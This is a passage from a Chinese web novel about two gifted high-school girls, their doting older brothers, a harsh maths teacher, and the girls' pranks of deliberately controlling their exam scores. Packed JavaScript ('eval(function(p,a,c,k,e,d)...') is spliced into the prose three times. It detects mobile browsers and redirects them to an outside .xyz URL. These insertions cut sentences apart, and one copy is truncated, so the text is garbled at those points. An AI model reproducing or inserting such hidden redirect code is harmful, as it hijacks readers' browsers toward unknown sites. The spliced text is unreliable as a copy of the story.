就这样，秦语曦和梁清嘉在讲台两侧的“风水宝地”上，一坐就是整整一个多学期，直到高二下学期期末考试。这个位置虽然失去了“邻居”的便利，却也有了意想不到的“好处”——离老师最近，问问题极其方便；视野无敌，黑板上的字看得一清二楚；而且，在老师眼皮底下，反而不好再做小动作，学习的专注度无形中竟然有所提升。她们也渐渐习惯了这种“孤岛”生活，学会了用眼神和口型隔空交流，倒也自得其乐。 高二下学期的重头戏之一便是所有学生都必须参加的学业水平考试。对于谢雪凤来说，文科的政史地不过是小菜一碟，她轻松拿下全优。对于秦语曦和梁清嘉而言，理科的物化生则需要稍微花点心思复习，但凭借扎实的基础和短期的冲刺，也都顺利过关，拿到了理想的等级。会考对于他们这些尖子生而言，更像是一个必须完成的规定动作，有惊无险，圆满通过。 高二下学期的期末考，附中别出心裁地直接使用了去年的高考真题作为试卷，其用意不言自明——让准高三生们提前感受高考的真实难度和氛围，进行一次极具参考价值的实战演练。 秦语曦和梁清嘉的成绩单，无疑给父母吃了一颗定心丸： 秦语曦：语文139，数学142，英语147，文综254，总分682。一个极其漂亮且均衡的分数，尤其是英语和文综，优势明显。 梁清嘉：语文138，数学145，英语148，文综255，总分686。数学略胜一筹，总分更高，展现出强大的竞争力。 看到成绩，林婉仪和秦国栋欣慰不已，各自给女儿的支付宝转了1000元作为奖励。梁建宏和刘敏敏也同样豪爽，各自给梁清嘉转了1000块。对于他们这样的家庭而言，金钱是表达喜悦和鼓励最直接的方式。 成绩出来后的周六下午，附中照例召开家长会。然而，这次家长会对于秦、梁两家却有些特殊——四位家长全都因重要工作无法脱身。 秦国栋在北京出差，与重要客户谈判。 林婉仪正在参加集团董事会会议，议题关乎公司战略。 梁建宏深陷一桩标的额高达两亿的复杂商业官司，正在法庭上唇枪舌剑。 刘敏敏更是忙得连轴转，手下负责着一个高达四十亿资产的审计项目，分身乏术。 于是，开家长会的重任，自然而然地落在了刚刚研究生毕业、工作还没几天的梁清树和秦宇晨肩上。梁建宏为了奖励儿子毕业和方便上下班，刚给他买了一辆白色的宝马三系。秦宇晨便坐着梁清树的新车，一同前往附中。 秦宇晨觉得有些新奇，笑着对梁清树说：“没想到第一次参加家长会，是以‘家长’的身份。” 梁清树则淡定地打着方向盘，瞥了他一眼：“这有什么，嘉嘉小学的家长会我都去开过好几次了。” 在梁清树眼里，梁清嘉与其说是妹妹，不如说是他从小看着长大的“女鹅”，带点老父亲般的责任感。 两人说笑着走到16班门口，刚探头往教室里一看，脚步就顿住了，随即对视一眼，脸上是掩饰不住的笑意和一丝荒谬感——他们一眼就看到了讲台两侧那两个孤零零的、格外醒目的座位！毫无疑问，那就是秦语曦和梁清嘉的“宝座”。 忍着笑走进教室，在写着妹妹名字的座位上坐下。讲台左侧是梁清嘉的位置，梁清树坐下后，感受了一下这个“至尊VIP观测区”的视野，忍不住压低声音对隔着讲台的秦宇晨说：“啧，我女鹅真是青出于蓝而胜于蓝啊。老林当年最多让我坐第一排，可没让我享受过讲台边的‘雅座’。托我女鹅的福，今天体验了一把。” 秦宇晨也环顾四周，觉得既好笑又无奈，接口道：“我也是第一次坐这么前面，视野真开阔，粉笔灰估计也吃得最饱。感谢曦宝，让我人生完整了。” 两人相视而笑，摇头感慨这两个小丫头的“破坏力”。 家长会开始，首先发言的是即将卸任的班主任老梁。他简要总结了班级高二的整体情况，并对同学们的表现给予了肯定。然后，他郑重介绍了高三年级的新任班主任——老杨。老梁完成交接后，便回办公室准备迎接新高一的工作了。 老杨是一位四十多岁、气场强大的女老师，短发利落，眼神锐利。她以带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484420|185669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出无数英语高分甚至满分学生而闻名附中。她一上台，言简意赅，直奔主题，充满了高三特有的紧张感和务实风格。 “各位家长好，我是杨老师，接下来一年，将由我带领16班冲刺高考。我们文科重点班的目标非常明确，就是顶尖名校！为此，学校为我们配备了最强的师资团队。” 她开始介绍各科任课老师。语文、政治、历史、地理老师，无一不是常年蹲守高三、对高考套路研究到极致的名师，家长们纷纷点头。 当介绍到数学老师时，老杨说：“数学是文科的生命线，学校高度重视。今年由陈老师，也就是老陈，来担任我们班的数学老师。” “老陈”两个字一出，梁清树和秦宇晨几乎是同时身体一僵，再次对视一眼，瞳孔地震，眼神里清晰地传递着同一个信息：“大事不妙！” 他们太了解老陈了！这位老爷子是附中的元老级人物，常年在五楼竞赛班耕耘，带出过无数竞赛金牌。他对数学有着近乎偏执的严谨，步骤要求完美，逻辑要求无懈可击。 因为还有一年就退休，学校或许是想让老陈从高强度的竞赛教学一线稍微解脱一下，安排他教文科班“减轻压力”。但这对秦语曦、梁清嘉这种思维活跃、步骤时常跳脱、讲究“意会”而非“言传”的学生来说，简直是“灾难”！ 梁清树和秦宇晨瞬间脑补出了画面：老陈拿着红笔，对着秦语曦和梁清嘉那不够“完美”的数学卷子或练习册，密密麻麻写满批注的样子。 梁清树与秦宇晨可是亲身体验过老陈的“批注大礼包”，至今记忆犹新。他们都能预见，高三这一年，这两个丫头的数学作业本，恐怕会比高一时更加“血迹斑斑”。 家长会一结束，梁清树和秦宇晨不约而同地、几乎是第一时间就冲到了讲台边，找到了正在收拾东西的老陈。 秦宇晨先开口，语气恭敬中带着一丝恳求：“陈老师您好，我是秦语曦的哥哥秦宇晨。我妹妹数学方面……可能有点随性，步骤有时候不太规范，高三这一年还请您多费心，严格要求！” 梁清树也赶紧跟上：“陈老师好，我是梁清嘉的哥哥梁清树。我妹妹的情况也差不多，她们俩……比较活泼，数学上要是有什么做得不好的地方，您该批就批，该罚就罚，我们绝对支持！” 老陈推了推老花镜，看着眼前这两个一脸诚恳、如临大敌的年轻人，脸上露出一丝难以捉摸的笑容，慢悠悠地说：“嗯，秦语曦我记得，高一的时候步骤就有点天马行空。梁清嘉……听说也是个活跃分子。放心吧，到了高三，我会帮她们把习惯扳过来的。严师出高徒嘛。” 听到这话，梁清树和秦宇晨心里更是“咯噔”一下，只能干笑着连连称是。 就在这时，谢雪凤和她的母亲叶桂兰从四楼下来，正好经过16班门口。谢雪凤看到老陈，礼貌地打招呼：“陈老师好。” 老陈对这位理科状元苗子自然是和颜悦色，点头回应。谢雪凤也看到了秦宇晨和梁清树，虽然不熟，但也点头致意。 叶桂兰则拘谨地站在女儿身后，脸上带着骄傲而又有些局促的笑容。 恰在此时，秦语曦和梁清嘉拎着刚买的两杯奶茶，说说笑笑地回来了，显然是算准了家长会结束的时间。标签上赫然写着“全糖”。 秦宇晨和梁清树一看，同时皱起了眉头。秦宇晨拿过秦语曦手里的奶茶，梁清树也接过梁清嘉那杯。 秦宇晨说着将奶茶递给了旁边的叶桂兰，“阿姨，天热，您和雪凤喝吧。” 梁清树也立刻有样学样，把奶茶塞到叶桂兰手里：“对对，阿姨，你们辛苦了，解解渴。” 叶桂兰受宠若惊，连连推辞，但在兄弟俩的热情和女儿的眼神示意下，最终还是感激地接了过来。谢雪凤轻声道谢。 等谢雪凤和叶桂兰走远一些，叶桂兰小声问：“凤儿，刚才那俩小伙子是？” 谢雪凤低声回答：“戴黑色细框眼镜的是梁清嘉的哥哥梁清树，戴蓝色半框眼镜的是秦语曦的哥哥秦宇晨。” 叶桂兰“哦”了一声。 打发走奶茶，梁清树和秦宇晨带着两个妹妹去吃烤肉，算是为她们顺利结束高二暨“预祝”她们即将开始的高三“苦难”生活壮行。 21. 21 果然，暑假补课一开始，老陈的“威力”就显现无疑。秦语曦和梁清嘉的数学作业和试卷上，开始频繁出现鲜红的问号、批注和“步骤不全！”“逻辑跳跃！”等评语。程度比秦语曦高一时有过之而无不及。 一天晚上，梁清嘉哭丧着脸把练习册拍给梁清树看。梁清树看着那“满江红”，不但没同情，反而笑着拍下来发给了秦宇晨，配文：“看，我女鹅的‘勋章’！” 几分钟后，秦宇晨回传了秦语曦同样“惨烈”的作业照片，附言：“彼此彼此，曦宝的‘战绩’也不遑多让，看来老陈宝刀未老。” 被老陈的“红笔”折磨了两个星期后，秦语曦和梁清嘉这对难姐难妹灵机一动，想出了一个“曲线救国”的妙招——去考雅思！ 秦语曦向父母提出请求，理由是提前拿到语言成绩可以为高三减压。林婉仪和秦国栋觉得有理，便同意了。 梁清嘉则更方便，直接给梁清树发微信：「哥，我要考雅思，给我请一个礼拜假呗。」 梁清树秒回：「行。跟老杨说好了。」 他太了解妹妹那点小心思了，无非是想暂时逃离老陈的“魔爪”，但他也认为换个环境透透气未必是坏事。 姐妹俩轻松上阵，考出的成绩惊人地好：秦语曦7.3分，梁清嘉7.5分。她们得意地把成绩单晒到朋友圈，果然收获无数点赞。 连老杨都看到了，不仅点了赞，还在评论区留言：“优秀！继续保持！”不知是对她们语言能力的肯定，还是看穿了她们“偷懒”的小九九却默许了这种积极的“调节”。 高二暑假的补课，在紧张与汗水中画上句号。作为验收成果的标志，学校毫不意外地再次祭出了高考真题这把“尺子”——使用了两个月前刚刚结束的高考试卷进行测试。成绩出来，几家欢喜几家安心。 秦语曦的成绩单堪称完美：语文141，数学145，英语148，文综255。这份接近顶尖水平的成绩，让秦国栋和林婉仪悬着的心彻底放回了肚子里，脸上露出了欣慰的笑容。女儿的状态稳定得令人放心，似乎已经为高三的冲刺做好了充分准备。 梁清嘉的成绩同样亮眼：语文139，数学147，英语148，文综253。梁建宏和刘敏敏收到成绩后，也长长舒了一口气，认为这是一个非常不错的开端，为高三开了个好局。 就连一向对自己要求严苛的谢雪凤，也取得了极其优异的成绩：语文138，数学150满分，英语148，理综282，再次毫无悬念地稳居年级理科第一。她一直努力将英语成绩提升到与秦语曦、梁清嘉比肩的水平，这次终于做到了，告诉父母时，叶桂兰和谢建华也难得地露出了舒展的笑容。 然而，这份和谐与安心，在一周后高三上学期开学第二天的摸底考试中，被彻底打破了。 摸底考试的成绩在考后第三天迅速公布。当谢雪凤查看光荣榜时，发现自己的成绩略有下滑，但仍在预期范围内：语文135，数学148，英语144，理综281。她并未太过在意，高三状态起伏是正常的。 但让她感到奇怪的是，自从文理分科后，秦语曦和梁清嘉的名字就如同钉子户般牢牢占据文科总分榜前列和语文、英语、文综等单科榜。 而这次，语文榜和文综榜上依然有她们的身影，但英语榜和总分榜上，却完全不见她们的踪迹。这太不寻常了！以她们的实力，英语至少应该在140分以上，总分绝对能进入前五十。 谢雪凤心中充满了疑惑。恰好，老杨也教一班的英语，在英语课下课后，谢雪凤忍不住追上老杨，轻声询问：“杨老师，请问……秦语曦和梁清嘉这次英语考了多少分？” 老杨脸上露出一丝似笑非笑、高深莫测的表情，简洁地回答：“90分。” “90分？！”谢雪凤几乎以为自己听错了。对于视考试为战场、每一分都至关重要的她来说，这个分数出现在秦语曦和梁清嘉身上，简直是天方夜谭，诡异至极。 的确，秦语曦和梁清嘉这次的成绩单非常“畸形”：秦语曦语文142，数学145，文综258，英语90；梁清嘉语文138，数学148，文综257，英语90。英语成绩刚好卡在及格线上，一分不多，一分不少。 教了二十几年书、见多识广的老杨，什么风浪没见过？她带过的学生里，不乏有个性的，控分这种小把戏，她一眼就能看穿。 联想到这两个丫头不久前才晒出的超高雅思成绩，老杨心下了然，这绝对是故意的。她心里觉得又好气又好笑，但深知这种时候点破不如观察，于是选择按兵不动，什么都没说，想看看她们到底想干什么。 成绩通过小程序第一时间推送到家长手机。林婉仪看到秦语曦的成绩单，尤其是那个刺眼的“英语90分”，第一反应是荒谬。“这怎么可能？曦曦光看听力选项就能把答案猜个八九不离十！” 她深知女儿的实力。她和秦国栋商量，觉得他们直接去问，女儿很可能会搪塞过去，于是林婉仪果断给与女儿关系最好的秦宇晨发去了成绩截图和一条言简意赅的微信：「问清楚。」 另一边，刘敏敏看到梁清嘉的成绩单，反应则直接得多。毕竟，她的“好大儿”梁清树在高中时就是“控分行为艺术”的资深玩家，被老师投诉过不止一次。 刘敏敏的思绪飘回了梁清树的高中时代。那时，理科实验班的物理老师老何有个坏习惯——特别喜欢拖堂。尤其倒霉的是，物理课总是安排在下午最后一节。这对急着去食堂抢购限量菠萝包的梁清树来说，简直是无法忍受的折磨。 为了表达无声的抗议，在期中考试中，梁清树进行了一次精准的“行为艺术”。他其他科目正常发挥，语文135，数学150满分，英语145，化学95，生物94，唯独物理，他故意做错最基础的选择题，大题跳步，压轴题留白，最终将分数精准地控制在60分。 成绩出来，老何看着梁清树这份极其诡异的成绩单，血压瞬间升高。这分数对于实验班的学生来说，简直是荒谬绝伦。他强压怒火，安慰自己梁清树只是暂时放松，并未发作。 然而，老何依旧拖堂。梁清树见抗议无效，在第二次月考中变本加厉，再次将物理控在60分。这次，老何彻底爆发了。 那天下午，老何把梁清树叫到走廊训话。恰巧，刚参加完CMO夺得金牌的秦宇晨回校办事，在四楼撞见了这戏剧性的一幕。 秦宇晨看到，身高179的梁清树比老何还高，脸上带着似笑非笑的表情，那双漂亮的桃花眼里满是“你奈我何”的嚣张。老何气得满脸通红，训斥的声音整个走廊都能听见。秦宇晨当时就觉得梁清树简直是“疯了”，用口型对他说了句“别太荒谬”。梁清树还得意地对他眨了眨眼。 这场“控分行为艺术”最终以老何向家长投诉告终。梁清树晚自习后打开手机，就看到母亲刘敏敏一连串的“你真该死啊”和菜刀表情，父亲梁建宏的信息也大同小异。 而刘敏敏也太清楚梁清嘉的能力了，这丫头根据听力选项盲选答案的正确率都能达到95%以上。加上梁清嘉几乎是梁清树带大的，梁清树整天把“我女鹅”挂在嘴边，那种潜移默化的影响……刘敏敏瞬间就猜到了真相。 她立刻点开名为“花开富贵”的家庭群（这名字充满了中老年审美趣味），将梁清嘉的成绩单发进去，特意圈出英语90分，然后@了梁清树（群备注：G市吴彦祖）和梁清嘉（群备注：小公主）。 刘敏敏：「@G市吴彦祖是你教@小公主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484421|185669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的吗？」 刘敏敏：「@小公主你疯了吗？？？」 后面紧跟着几个菜刀和发怒的表情包。 一向沉稳的梁建宏也被炸了出来：「@小公主你在干嘛？？？致敬@G市吴彦祖？？？？还是得精神病了？？？」 正在吃午饭的梁清树看到微信群笑着，点开一看，直接被饭呛到。他没有直接回复父母的狂轰滥炸，而是单独@了梁清嘉：「@小公主下午放学给我打个电话。」 秦宇晨也是在午休时看到母亲的信息。他无奈地笑了笑，给妹妹秦语曦留言：「曦曦，下午放学有空的时候给我个电话。」 傍晚，秦语曦的电话打了过来，秦宇晨刚好下班走在路上。 “曦曦，”秦宇晨开门见山，“英语90分，怎么回事？” 电话那头，秦语曦沉默了两秒，然后用一种特别无辜的语气说：“啊？什么怎么回事？就……没考好呗。” 秦宇晨直接被气笑了：“你跟我开玩笑呢？没考好能精准控制在刚好及格？你雅思8.5分的能力被狗吃啦？” 秦语曦继续装傻：“哥，题目太难了嘛……” 秦宇晨笑出声：“行了宝贝，别演了。玩控分就控分，还跟我在这儿装傻充愣。” 被哥哥戳穿，秦语曦也不再伪装，语气变得俏皮起来：“哎呀，别闹！什么叫控分，这叫‘艺术’！” 秦宇晨：“行为艺术是吧？嘉嘉是不是跟你一起‘艺术’了？” 秦语曦嘿嘿一笑，不置可否。 几乎同时，梁清嘉也给梁清树拨通了电话。 梁清树：“解释一下？90分？” 梁清嘉模仿秦语曦，用特别浮夸的语气说：“哥~试题太难了嘛！我都不会做！” 梁清树在电话那头噗嗤一笑：“一个全国中学生英语竞赛一等奖跟我说太难了？梁清嘉，你自己信吗？” 梁清嘉继续漫不经心地耍赖：“信啊，怎么不信？状态不好呗。” 梁清树笑骂道：“差不多得了啊宝贝！你在我面前表演过怎么盲选听力答案，正确率95%以上，当我失忆了？我知道控分挺好玩的……” 梁清嘉见瞒不过，干脆承认：“嘻嘻，就是觉得好玩嘛。老杨太淡定了，想看看她什么反应。” 面对父母的追问，秦宇晨和梁清树在电话里都帮着妹妹含糊了过去，只说可能是状态问题，下次会考好。 但到了周六下午，姐妹俩回家时，还是没能逃过父母的“正式审讯”。 梁清嘉被父母“堵”在客厅。她眼见瞒不住，干脆破罐子破摔，笑嘻嘻地说：“哎呀，爸妈，就是觉得好玩嘛！想惹老杨生气一下，顺便试试我控分的手段精不精准？你看，刚好90分，一分不差！厉害吧？” 刘敏敏气得想打人，梁建宏则是哭笑不得，指着她说：“你就跟你哥学点好吧！” 在秦家，秦语曦的回答则相对“文静”一些：“我就是……想逗逗老杨，看她会不会有反应。”林婉仪和秦国栋对视一眼，无奈摇头，既觉得女儿胡闹，又有点好笑，最终只能叮嘱下不为例。 风波暂时平息。秦宇晨给梁清树发微信：「你猜她们还会继续玩吗？」 看到这条信息，梁清树瞬间想起了自己当年的“光辉事迹”，手指飞快地回复：「肯定会。控分这玩意儿，会上瘾的。」 秦宇晨：「我记得你高中那会儿也玩过吧？」 梁清树：「你这不废话吗？你可是亲眼见过老何是怎么在走廊上对我进行‘灵魂拷问’的，那场面，堪称行为艺术。」 秦宇晨发来一个大笑的表情：「看来嘉嘉这算是……遗传？」 梁清树颇为自豪地回复：「确实遗传到我的精髓了，不愧是我女鹅！」 22. 22. 期中考试的成绩，如同预期般为高三上学期注入了一剂强心针，也暂时抚平了家长们因之前摸底考试“控分”事件而悬起的心。 秦语曦的成绩回归“正常”且优秀：语文135，数学142，英语149，文综254，总分680。这个分数让她稳稳位居文科前列。 然而，当数学答题卡发下来时，秦语曦却愣住了。卷面整洁，步骤清晰，除了那道确实超纲的选择题，她几乎没丢分，压轴题也尽力写了。但就在压轴题解答过程的旁边，用醒目的红笔写着一行字—— 「你哥哥CMO金牌，你文科数学压轴题为什么不能写完美？」 秦语曦拿着答题卡，一脸问号，心里莫名涌上一股委屈和不解。“我哥是我哥，我是我啊？凭什么拿我哥来要求我？而且这次压轴题本来就有难度，我已经尽力做到最好了啊！”她感觉老陈的这份“关怀”毫无道理，甚至有些伤人。 无独有偶，梁清嘉也收到了类似的“特别关照”。她这次的成绩是语文137，数学145，英语148，文综249。总分679，同样出色。但细看会发现，为了死磕数学，尤其是攻克难点，她的文综成绩罕见地跌破了250分。她的数学答题卡上，同样有一句红笔批注—— 「你哥哥理科数学能考150，你文科数学为什么考不了？」 梁清嘉看到这句话，简直气笑了。她为了数学付出了多少心血？刷了多少题？这次145分，仅仅错了一道超纲题，已经是她努力的结果了！老陈这句话，仿佛一下子把她的所有努力都否定了。“在他眼里，我的努力算个屁啊？就因为梁清树能考满分，所以我考145都不行？”一种被轻视和不被认可的愤怒在她心中蔓延。 家长们通过小程序看到总分和排名，都非常高兴，觉得孩子们状态回勇，之前的“小插曲”只是意外。 周五，秦语曦放学回家，心情低落地没开灯，窝在沙发里。林婉仪下班回来觉得奇怪：“曦曦，怎么不开灯？心情不好？” “嗯。”秦语曦闷闷地应了一声。 后面进门的秦宇晨换了鞋，问道：“期中考得不是挺好的吗？怎么还不高兴了？” 秦语曦没说话，只是默默地把那张数学答题卡递了过去。 已经在沙发上坐下的秦国栋自然地接过来，先是习惯性地夸赞：“前面写得都挺工整的，步骤也清晰……”话还没说完，他的目光落在了那行红字上，瞬间愣住了。 凑过去看的秦宇晨也怔住了。 秦国栋反应过来，看着躺在沙发上满脸惆怅的女儿，连忙安慰道：“老陈可能就是……就是想激励你一下，方法可能不太对。别往心里去，你已经很棒了！” 秦宇晨也心疼地摸了摸妹妹的头：“是啊曦曦，别理他，你考得很好。” 林婉仪拿过答题卡，看到那句话，皱了皱眉，随即拍了拍秦语曦的肩膀，用一种半开玩笑的语气说：“行了行了，别跟他计较了。老陈年纪大了，有点固执，你就当尊老爱幼，让让他吧。” 而梁清嘉一进门，就把数学答题卡“啪”地一声拍在梁清树面前的茶几上，怒气冲冲地说：“他神经病啊！” 梁清树正在看资料，被吓了一跳，拿起答题卡一看，顿时明白了。他叹了口气，伸手把像只炸毛小猫一样的妹妹拉过来，让她坐在自己身边的沙发上，然后轻轻抱住她，安抚地拍着她的背：“好了好了，不气不气。老陈就这脾气，喜欢用激将法，别理他。我们嘉嘉多厉害啊，145分呢！” 梁清嘉靠在哥哥怀里，委屈地嘟着嘴，但情绪渐渐平复下来。梁清树的安抚总是最有效的。 午休时间，食堂里人声鼎沸。谢雪凤端着餐盘，习惯性地寻找安静角落，却看到了坐在一起的秦语曦和梁清嘉。她犹豫了一下，还是走了过去。经过近三年的同校生活，虽然不同班，但彼此之间也有了一份熟悉的默契。 她坐下后，看着对面两人似乎不像平时那么活泼，想起刚刚听到的关于她们数学被老陈“特别关照”的传闻，以及上次诡异90分的事件，忍不住轻声问道：“语曦，清嘉，听说你们这次数学……老陈在答题卡上留话了？” 秦语曦和梁清嘉对视一眼，撇了撇嘴。 梁清嘉压低声音，带着不满：“可不是嘛！莫名其妙拿我哥来比，好像我考145分是天大的罪过一样。” 秦语曦也小声补充：“我也是。我哥拿金牌跟我有什么关系嘛……感觉所有的努力都被否定了。” 谢雪凤安静地听着，她能理解老陈望生成龙的心情，但也觉得这种方式对于心思敏感的高中生来说，确实可能适得其反。她看着眼前这两个明明很有天赋却似乎总在用自己的方式对抗压力的女孩，想起她们之前控分的行为，心中莫名生出一种复杂的情绪。 她沉默了片刻，最终化作一声轻轻的叹息：“唉……老陈也是……你们……别太难过了，下次考好就行。”她不知道还能说什么，只能低下头默默吃饭。 谁都没想到，秦语曦和梁清嘉的“反击”会来得如此猛烈，且形式如此极端。 高三上学期最后一次月考成绩出来，结果堪称“灾难”。 秦语曦：语文137，数学75，英语145，文综255。 梁清嘉：语文141，数学80，英语148，文综251。 她们的数学成绩，远远低于文科重点班130分的平均分，甚至不及格！仔细看答题卡：秦语曦数学选择题55分，填空题20分，后面所有大题，全部空白！梁清嘉则是选择题满分60，填空题满分20，同样，大题一片空白！ 这已不再是控分，而是近乎交白卷的公然“挑衅”！ 晚自习时，老陈怒气冲冲地把两人叫到办公室。看着站在面前的这两个女孩，老陈气血上涌。 秦语曦的脸和秦宇晨有七八分相像，但气质迥异。秦宇晨是冷静的书卷气，而此刻的秦语曦，脸上却带着一种无所畏惧的神情。 梁清嘉则简直是女版梁清树的翻版！不仅容貌有八九分相似，那双顾盼生辉的桃花眼，那周身散发出的“你奈我何”的气场，甚至比当年的梁清树有过之而无不及！ 老陈前几天刚好看过梁清树发的朋友圈，是一张和梁清嘉的搞怪自拍。此刻再看梁清嘉，老陈简直有种错觉，仿佛梁清树的灵魂附体，正在对他进行一场跨越时空的“报复”！新仇旧恨一齐涌上心头，老陈彻底气炸了， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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梁清树沉思片刻，点头赞同：“嘉嘉期中答题卡上也有一句——‘你哥哥理科数学能考150你文科数学为什么考不了’。老陈真的疯了，嘉嘉期中考了145，只错了一道超纲题，还影响了文综，第一次跌破250。他也给我爸打电话了。我猜……期末嘉嘉可能连选择填空都不写，直接交白卷。” 秦宇晨闻言笑了：“那曦曦肯定开团必跟。而且她画画很好，说不定还会在空白的答题卡上画点什么呢。” 梁清树也笑了，带着点无奈和纵容：“嘉嘉Q版小人画得一流，说不定会画个Q版老陈，旁边写上‘求放过’。” 秦宇晨笑道：“那老陈肯定得当场气炸了不可。” 梁清树摇头笑道：“说真的，老陈让我深刻体会到了什么叫换位思考。我现在终于明白，被一个你不喜欢的人死缠烂打是什么体验了。” 秦宇晨笑出声：“那不挺刺激的嘛？不过话说回来，第一个追你的人可是老陈啊！这算不算完美符合曦曦爱看的那些狗血强制爱剧情？” 梁清树一脸嫌弃地摆手：“你可别了哈！曦曦看的是言情，两个大老爷们算怎么回事？本钢铁直男可无福消受这种剧情！” 秦宇晨笑得更大声了，楼顶的夜风似乎也带走了几分加班的疲惫。他们深知妹妹们的秉性，这场由老陈的“激将法”引发的、充满叛逆色彩的“战争”，恐怕在即将到来的期末考试中，还会上演更加令人啼笑皆非的戏码。 23. 23. 高三上学期的期末考试，在一种微妙的氛围中结束。所有人都屏息以待，猜测着秦语曦和梁清嘉这次又会整出什么“幺蛾子”，尤其是在秦宇晨和梁清树那番“预言”之后。 出人意料的是，成绩公布后，两人并没有在分数上进行极端的“控分”。她们的总体成绩依然保持在顶尖水平，只是数学分数因压轴题空白而有所下降，显得更加“真实”： 秦语曦：语文139，数学127，英语148，文综254。 梁清嘉：语文140，数学129，英语147，文综256。 然而，真正的“彩蛋”并非分数，而是她们兑现了兄长“预言”的——在数学答题卡上画画了！ 当刘敏敏和梁建宏通过小程序看到梁清嘉的数学答题卡电子版时，目光扫过前面全对的选择题和填空题，然后落在了最后一片空白的压轴题答题区。然而，这片空白并非真正的空白！ 在答题区的最上方，用黑色签字笔画着一个可爱的Q版人物：穿着简单的T恤和中裤，戴着一副半框眼镜，脸上是略带臭屁又潇洒的表情，活脱脱就是年轻时的梁清树！旁边用清秀的字迹写着：「完美的人考完美的150」。 中间，画着一个同样Q版的、穿着师大附中校服、戴着圆框眼镜、表情有点小委屈和小得意的女孩，正是梁清嘉本人。旁边标注：「梁清嘉是笨蛋不会写」。 最下方，则画着一个Q版的、表情严肃、戴着老花镜、头上仿佛冒着三丈火的老教师形象，自然是老陈。旁边配文：「你哥哥能考150你为啥不能」。 这俨然是一幅微型叙事漫画！ 刘敏敏和梁建宏看着这张充满童趣和反叛精神的“作品”，先是愣住，随即刘敏敏“噗嗤”一声笑了出来，越看越觉得好笑：“哈哈哈，这丫头……真是……” 梁建宏仔细端详着那个Q版梁清树，也忍不住笑出声，摇着头：“我服了，画得还挺传神！这脑回路，真是跟她哥一模一样！” 这时，刚加班回来的梁清树一脸疲惫地进门。刘敏敏忍着笑，把手机屏幕递过去：“喏，看你‘女鹅’的大作！” 梁清树凑近一看，尤其是看到那个Q版的自己和被“吐槽”的老陈，疲惫瞬间被哭笑不得取代。他非但没生气，反而眼中闪过一丝宠溺和赞赏，立刻操作手机，熟练地将答题卡上那个Q版的自己截图，设置成了新的微信头像。仿佛在宣告：我女鹅画的，骄傲！ 秦国栋和林婉仪看到秦语曦的数学答题卡时，经历了类似的心路历程。 压轴题答题区上方，画着Q版的秦宇晨：白衬衫、休闲裤、半框眼镜，气质清冷学霸，旁边写着：「完美的CMO金牌得主」。 中间是Q版的秦语曦自己，穿着校服，表情俏皮又带着点自嘲，配文：「秦语曦是傻子不会写」。 下方是Q版老陈，配字：「你哥哥CMO金牌你啥也不是」。 夫妻俩对视一眼，都从对方眼中看到了无奈、好笑和一丝“孩子大了管不了”的感慨。林婉仪笑道：“这丫头，骂起自己来倒是不客气。”秦国栋也摇头笑道：“看来老陈那句话，她是真记仇了。” 当晚，秦宇晨也看到了这张“杰作”。他笑着摇头，觉得妹妹这种表达不满的方式既幼稚又可爱。他干脆把这张图发到了朋友圈，配文：「来自家妹的“崇高”敬意[狗头]」。 几乎是秒回，用了新头像的梁清树立刻评论：「哈哈哈哈哈哈！我也有！！！同款‘敬意’！！！」后面跟着一串笑哭的表情。两人的共同好友看到这两张图，纷纷点赞评论，成了高三沉重压力下的一抹轻松亮色。 冬去春来，高三下学期在紧张的氛围中开学。学校安排了周六补课，争分夺秒。 星期六的第一节课是自习课，文科重点班16班的班主任老杨将秦语曦和梁清嘉叫到了办公室。办公室很安静，其他老师还没来。 老杨没有一上来就批评，而是给她们每人倒了杯水，语气平和：“坐吧。这次期末考试，数学怎么回事？压轴题为什么空着？是遇到什么困难了吗？还是对陈老师有意见？” 她看着眼前这两个灵动的女孩，深知她们是冲击清北的苗子，不希望任何非智力因素影响她们。“有什么想法或者需求，都可以跟老师说。最后几个月了，心态很重要。” 秦语曦和梁清嘉互相看了一眼，有点不好意思。她们知道老杨是真心关心她们。秦语曦先开口，语气收敛了些许调皮：“杨老师，没什么困难……就是……当时觉得那题有点绕，时间不太够，就放弃了。”这算是部分实话。 梁清嘉补充道：“嗯，而且……之前陈老师说的话，让我们有点……嗯……”她没说完，但老杨已经明白了。 老杨点点头，没有深究画画的事，而是语重心长地说：“老师理解。陈老师性格是比較直，方法可能急了点，但初衷是好的，希望你们更好。最后关头，别让情绪影响自己。你们的实力摆在这里，稳住，清北很有希望。有什么需要帮助的，随时找我。” 两人乖巧地点点头。 与此同时，在四楼理科实验班班主任老林的办公室，谢雪凤也被叫了过来。谢雪凤期末成绩略有波动，虽然仍是顶尖，但不如期中耀眼。 